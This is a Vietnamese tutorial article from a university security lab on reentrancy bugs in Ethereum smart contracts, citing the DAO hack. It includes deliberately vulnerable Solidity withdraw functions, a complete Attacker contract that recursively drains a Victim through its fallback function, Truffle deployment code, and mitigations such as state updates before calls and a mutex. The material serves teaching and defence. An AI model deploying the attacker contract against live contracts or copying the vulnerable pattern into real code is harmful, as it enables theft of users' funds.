Lỗ hổng Reentrancy trong Hợp đồng thông minh (Smart Contract)

RESEARCH CREW
8:20 30/04/2019

Lỗ hổng bảo mật trong Hợp đồng thông minh 

Hợp đồng thông minh (Smart Contract) là một thiết kế đột phá, cho phép triển khai mọi giao dịch mà không cần bên thứ ba xác nhận. Thiết kế này là một ứng dụng rất hữu ích trên nền tảng Blockchain. Tuy nhiên, nó sẽ hoàn hảo hơn nếu không bị vướng mắc phải các vấn đề về an ninh. Chuỗi bài viết này sẽ chỉ ra các vấn đề an ninh trong việc triển khai hợp đồng thông minh, giúp cho các lập trình viên tránh được các vấn đề này. Bài đầu tiên sẽ giới thiệu cách khai thác tấn công Reentrancy vào các hợp đồng thông minh cũng như các phương pháp phòng chống lỗ hổng này.

Để hiểu được nội dung của bài viết này, người đọc cần có kiến thức về:

Như chúng ta đã biết, hợp đồng thông minh thực chất là các đoạn mã BYTECODE được viết và dịch bằng ngôn ngữ Solidity. Đoạn mã này sau đó được chuyển tới tất cả các Node của Blockchain và sẽ thực thi hợp đồng trên máy ảo EVM (trong trường hợp của Ethereum). Chính việc Hợp đồng thông minh là các đoạn mã nên rất dễ có những lỗ hổng tồn tại dẫn đến việc bị Hacker kiểm soát.

Ngoài ra, một số lỗi bảo mật của các smart contract trên nền tảng Ethereum cũng được thể hiện lại thông qua một CTF games của Zeppelin - một hãng rất nổi tiếng hiện nay trong xây dựng các solutions cho smart contract. CTF này có tên là The Ethernaut - nội dung chủ đạo là hacking smart contract.

Các bạn có thể tham gia chơi tại đây: https://ethernaut.zeppelin.solutions

Lỗ hổng Reentrancy

Như đã đề cập ở trên, lỗi (bug) trong Solidity rất tốn kém do ảnh hưởng đến dữ liệu và tài sản trong hợp đồng thông minh, khiến bản thân và nhiều người khác gặp rủi ro, vì vậy điều quan trọng là phải chú ý, đề phòng các lỗ hổng có thể có khi viết và triển khai hợp đồng thông minh. Phần này xin bàn về một trong những lỗi đó, Reentrancy - khai thác gửi đệ quy. Chúng tôi sẽ thực hiện một kịch bản tấn công reentrancy đơn giản bằng cách sử dụng 2 hợp đồng thông minh, một của nạn nhân (Victim) và một của kẻ tấn công (Attacker). Sau đây,  UIT InSecLab sẽ mô tả các lỗ hổng an ninh Reentrancy, rất phổ biến trong việc thiết kế các hợp đồng thông minh và cách thức Hacker có thể khai thác nó. 

Một trong những mối nguy hiểm lớn của việc gọi các hợp đồng bên ngoài (external contract) là chúng có thể chiếm quyền điều khiển và thực hiện các thay đổi đối với dữ liệu của bạn theo cách không mong đợi. Loại lỗi này có thể có nhiều dạng khác nhau , nhưng tất cả lỗi lớn dẫn đến sự sụp đổ của DAO  (Decentralized Autonomous Organization) đều là các lỗi thuộc loại này. Cụ thể, trong ngày 17.6.2016, DAO bị tin tắc chiếm dụng 3.6 triệu Ether (tương đương 50 triệu đô la Mỹ) bằng cách khai thác lỗ hổng Reentrancy. Vụ tấn công này được ghi nhận là vụ tấn công Reentrancy đầu tiên, nhưng tổn thất vô cùng nghiêm trọng.

Reentrancy bao gồm 2 dạng chính như sau:

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again
// lỗi này liên quan đến việc gọi hàm call, sẽ được đề cập chi tiết ở phần dưới
userBalances[msg.sender] = 0;
}

Trong đoạn code bên trên, số dư tài khoản người dùng KHÔNG được thiết lập giá trị về 0 cho đến khi lời gọi hàm đầu tiên hoàn tất. Do đó, các lời gọi gọi thứ 2, thứ 3,... sẽ thực hiện rút tiền thành công ra khỏi tài khoản mà vẫn không chịu sự giới hạn nào. Lỗi Reentrancy xảy ra do cơ chế hoạt động của hàm Call và Fallback trong quá trình thực hiện lời gọi hàm từ bên ngoài, hay trong trường hợp một Hợp đồng nhận được Ether. Chi tiết về cách hoạt động của lỗ hổng cũng như 2 loại hàm này sẽ được phân tích ở phần tiếp theo.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}

function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()
userBalances[msg.sender] = 0;
}

Trong trường hợp này, kẻ tấn công gọi hàm transfer () khi mã nguồn của chúng đang được thực thi trên lời gọi hàm bên ngoài  (external call)  thông qua phương thức withdrawBalance() . Vì số dư của kẻ tấn công chưa được đặt thành 0, nên hắn có thể tiếp tục chuyển tiền về tài khoản của hắn bằng lời gọi hàm transfer () mặc dù hắn đã nhận được khoản rút tiền thông qua hàm withdrawBalance(). Lỗ hổng này cũng được sử dụng trong cuộc tấn công DAO.

Các giải pháp ngăn ngừa kiểu tấn công này cũng tương tự như dạng thứ nhất (xem thêm ở phần sau). Cũng cần lưu ý rằng trong ví dụ này, cả hai phương thức đều là một phần của cùng một hợp đồng (Smart Contract). Tuy nhiên, lỗi Reentrancy cũng có thể xảy ra trên nhiều hợp đồng, nếu các hợp đồng đó chia sẻ trạng thái.

Phương thức khai thác lỗ hổng Reentrancy

Để dễ hiểu, dạng lỗ hổng và cách tấn công này có thể được mô tả như sau: giả sử bạn có 50 triệu đồng trong tài khoản Ngân hàng. Bạn muốn rút tiền, bạn ra Lệnh rút 50 triệu đồng, tài khoản của bạn tại Ngân hàng về 0 đồng. Nếu Lệnh rút bị lỗi Reentrance, bạn có thể rút nhiều lần 50 triệu đồng mà tài khoản của các bạn vẫn không thay đổi về 0. Với lỗi này, bạn sẽ rút hết tiền của Ngân hàng với nhiều lần rút như vậy.

Lỗi trên là do Hacker kết hợp cơ chế của một số hàm trong Hợp đồng thông minh khiến cho hàm rút tiền withdraw() chạy vào vòng lặp đệ quy tại vị trí call.value(). Việc này rõ ràng khiến tiền bị rút hết mà số tiền trong tài khoản của Hacker vẫn không thay đổi.

Ví dụ, với kết hợp cơ chế của hàm call.value() và hàm Fallback (Phần giải thích về hàm call và hàm fall back ở phần dưới của bài viết này), Hacker sẽ thực hiện cuộc tấn công Reentrancy như sau:

Hình: Quy trình tấn công lỗ hổng Reentrancy

Đây là mô tả mã khai thác của Hacker:


Hình: Phương pháp tấn công lỗi Reentrancy

Ngoài ví dụ trên, Hacker có thể tận dụng lỗi Reentrancy này trong rất nhiều tình huống tùy thuộc vào kịch bản của Hợp đồng thông minh.

Thêm một ví dụ khác, Dưới đây là nội dung mã nguồn Hợp đồng thông minh của nạn nhân và kẻ tấn công:

Victim.sol (Nạn nhân)
pragma solidity ^0.4.8;

contract Victim {

function withdraw() {
uint transferAmt = 1 ether; // rút 1 ether 
if (!msg.sender.call.value(transferAmt)()) throw; 
}

function deposit() payable {
 // gửi tiền vào contract này
}
}

Hoặc ta có một hợp đồng thông minh khác, Victim_01.sol (Nạn nhân) như sau:

pragma solidity ^0.4.8;
contract Victim {
mapping(address => uint) public _balanceOf; // lưu giá trị số dư tài khoản
function withdraw(){
require (_balanceOf[msg.sender] > 0); // kiểm tra số dư tài khoản trước khi rút
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)(); // thực hiện rút tiền bằng call function
_balanceOf[msg.sender] = 0; // gán số dư bằng 0 sau khi rút
}

function deposit() payable {
_balanceOf[msg.sender] = msg.value; // gửi tiền vào contract này
}
}

 

Attacker.sol (Kẻ tấn công)
pragma solidity ^0.4.8;

import './Victim.sol';

contract Attacker {
Victim v; // v là địa chỉ của contract 🏦
uint public count; // count là số lần muốn rút tiền.
event LogFallback(uint c, uint balance);

//phương thức khởi tạo của Attacker với tham số là địa chỉ của Victim
function Attacker(address victim) {
v = Victim(victim);
}
//là phương thức trung gian để mình gửi tiền vô Victim
// Gửi tiền vô trước, sau đó mới thực hiện rút ra
function deposit() public payable{
    v.deposit.value(msg.value)();
  }
// phương thức để khai thác Bug Reentrancy
function attack() {
v.withdraw();
}
//fallback function của Attacker. 
// Ở đây mình rút 9 lần thì dừng.
function () payable {
count++;
LogFallback(count, this.balance);
if (count < 10) {
v.withdraw();
} 
}
}

Hàm Call và Hàm Fallback 

Trước khi khai thác (exploit) chúng ta sẽ tìm hiểu call function và fallback function.

Trong smart contract mỗi contract là 1 đối tượng giống trong lập trình hướng đối tượng. Ví dụ chúng ta muốn sử dụng phương thức fun(uint256 x)trong contract 🅰️ thì chúng ta gọi nó bằng cách 🅰️.fun(1) . Có 1 cách khác để gọi phương thức fun(uint256 x) là dùng call .

A.call.(bytes4(sha3("fun(uint256)")), 1)

Để xác định phương thức được sử dụng thì dựa trên 4 byte đầu tiên của sha3("fun(uint256)") .

Fallback function là một hàm đặc biệt trong smart contract, nó không có tên hàm và được sử dụng khi: contract nhận ether, hoặc khi có ai đó gọi hàm không có trong contract hoặc tham số không đúng.

Fallback function có dạng là function () { ... } được gọi khi mà phương thứcfun(uint256 x) không tồn tại trong contract 🅰️( Cái này giống default trong switch case 😄 ). Fallback function cũng được gọi khi nhận ether ( có dạng là function() payable { ... } ).

Quay trở lại với đoạn code trong Hợp đồng thông minh có Bug,

uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;

Nếu như msg.sender là địa chỉ của người dùng 🅰️ thì sau khi thực hiện đoạn code trên thì 🅰️ sẽ nhận được X ether và _balanceOf[🅰️] = 0️⃣

Giả sử 🅱️ là Attacker. Khi đó, msg.sender là địa chỉ của contract 🅱️ (Attacker) thì 🅱️ sẽ nhận được X ether và đồng thời thực thi fallback function trong 🅱️. Mỗi lần ether được gửi tới contract nào đó thì hàm Fallback của contract đó sẽ tự động được gọi. Fallback function trong 🅱️ có thể gọi tiếp hàm withdraw() của contract có lỗi Reentrancy để rút tiền bởi vì _balanceOf[🅱️] vẫn là X. Vậy là mình có thể rút hết 💰 của Contract này. 

Khi tài khoản của Contract nạ nhân (Victim) hết tiền thì msg.sender.call.value(x)() bị fail và ngay lúc đó vòng lặp ngừng lại. Tuy nhiên, vòng lặp đệ qui lớn có thể xảy ra tình trạng out of gas. Do đó, số lần rút thường được giới hạn.

Cách triển khai hợp đồng

Sau khi đã có mã nguồn hợp đồng dùng để khai thác, chúng ta thực hiện triển khai (deploy) nó trên mạng Testnet của Ethereum. Việc triển khai này có thể được thực hiện bằng Remix IDE hoặc Truffle Framework.  Code triển khai có thể dùng như bảng bên dưới (dùng Truffle).

Deployment Code (2_deploy_contracts.js)
const Victim = artifacts.require('./Victim.sol')
const Attacker = artifacts.require('./Attacker.sol')

module.exports = function(deployer) {
deployer
   .deploy(Victim)
   .then(() =>
      deployer.deploy(Attacker, Victim.address)
    )
}

Giải pháp đề phòng

  1. Sử dụng transfer() hoặc send() thay thế cho call() . Điều này cũng cho phép chúng ta thực thi mã bên ngoài, nhưng việc giới hạn lượng gas quy định ở mức 2.300 gas, nó chỉ đủ để ghi lại một sự kiện, nhưng không đủ để khởi động một cuộc tấn công. Thí dụ: Thay thế msg.sender.call.value(ethAmt)() bằng msg.sender.send(ethAmt)()
  2. Đặt _balanceOf[msg.sender] = 0 trước msg.sender.call.value(x)() .
  3. Sử dụng Mutex modifier để khóa hàm withdraw nếu nó đã được thực hiện. Tuy nhiên, việc áp dùng biện pháp này cần phải thật cẩn thận, do những bất cẩn trong lập trình có thể dẫn đến deadlocks hoặc livelocks. Xem ví dụ vềmã nguồn áp dụng mutex ở bảng bên dưới.
Victim.sol (No Reentrancy Bug)
pragma solidity ^0.4.8;

contract Victim {
bool locked;

/** 
@dev Modifier to insure that functions cannot be reentered 
during execution. Note there is only one global "locked" var, so 
there is a potential to be locked out of all functions that use 
the modifier at the same time.
*/ 
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}

function withdraw() noReentrancy {
uint transferAmt = 1 ether; 
if (!msg.sender.call.value(transferAmt)()) throw; 
}

function deposit() payable {}
}

Tuy nhiên, lỗi Reentrancy này có thể xảy ra thông qua nhiều hàm, hoặc thậm chí liên quan đến nhiều hợp đồng khác nhau. Do đó, các giải pháp mà chỉ nhắm đến lỗi này ở duy nhất một Hợp đồng đơn lẻ sẽ không hiệu quả.

Thay vào đó, các lập trình viên đã được khuyến nghị hoàn thành tất cả các công việc nội bộ (các tác vụ bên trong Contract) (ví dụ: thay đổi trạng thái) trước và sau đó mới thực hiện gọi hàm bên ngoài. Quy tắc này, nếu được tuân thủ cẩn thận, sẽ giúp lập trình viên tránh các lỗ hổng Reentrancy. Tuy nhiên, lập trình viên không chỉ cần tránh gọi các chức năng bên ngoài quá sớm mà còn nên hạn chế các chức năng gọi các hàm bên ngoài.

Tài liệu tham khảo:

Ethereum Smart Contract Security Best Practices (mô tả các lỗ hổng và các giải pháp ngăn ngừa)

Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract

“Reentrancy Attack” on a Smart Contract

Smart Contract Security: Part 1 Reentrancy Attacks

 

 

TIN LIÊN QUAN
Trong bối cảnh công nghệ Blockchain được nhiều chuyên gia trong lĩnh vực nghiên cứu học thuật và lập trình viên đầu tư thời gian và công sức để áp dụng  vào trong các ngữ cảnh ứng dụng thực tế khác nhau, Ethereum cùng với ngôn ngữ Solidity là một...
Nền tảng dữ liệu Blockchain StreamR đang hợp tác với công ty phần mềm viễn thông lớn ở Phần Lan Nokia và công ty phần mềm California OSIsoft để cho phép người dùng di động kiếm tiền từ dữ liệu người dùng của họ và mua hàng. Giám đốc điều...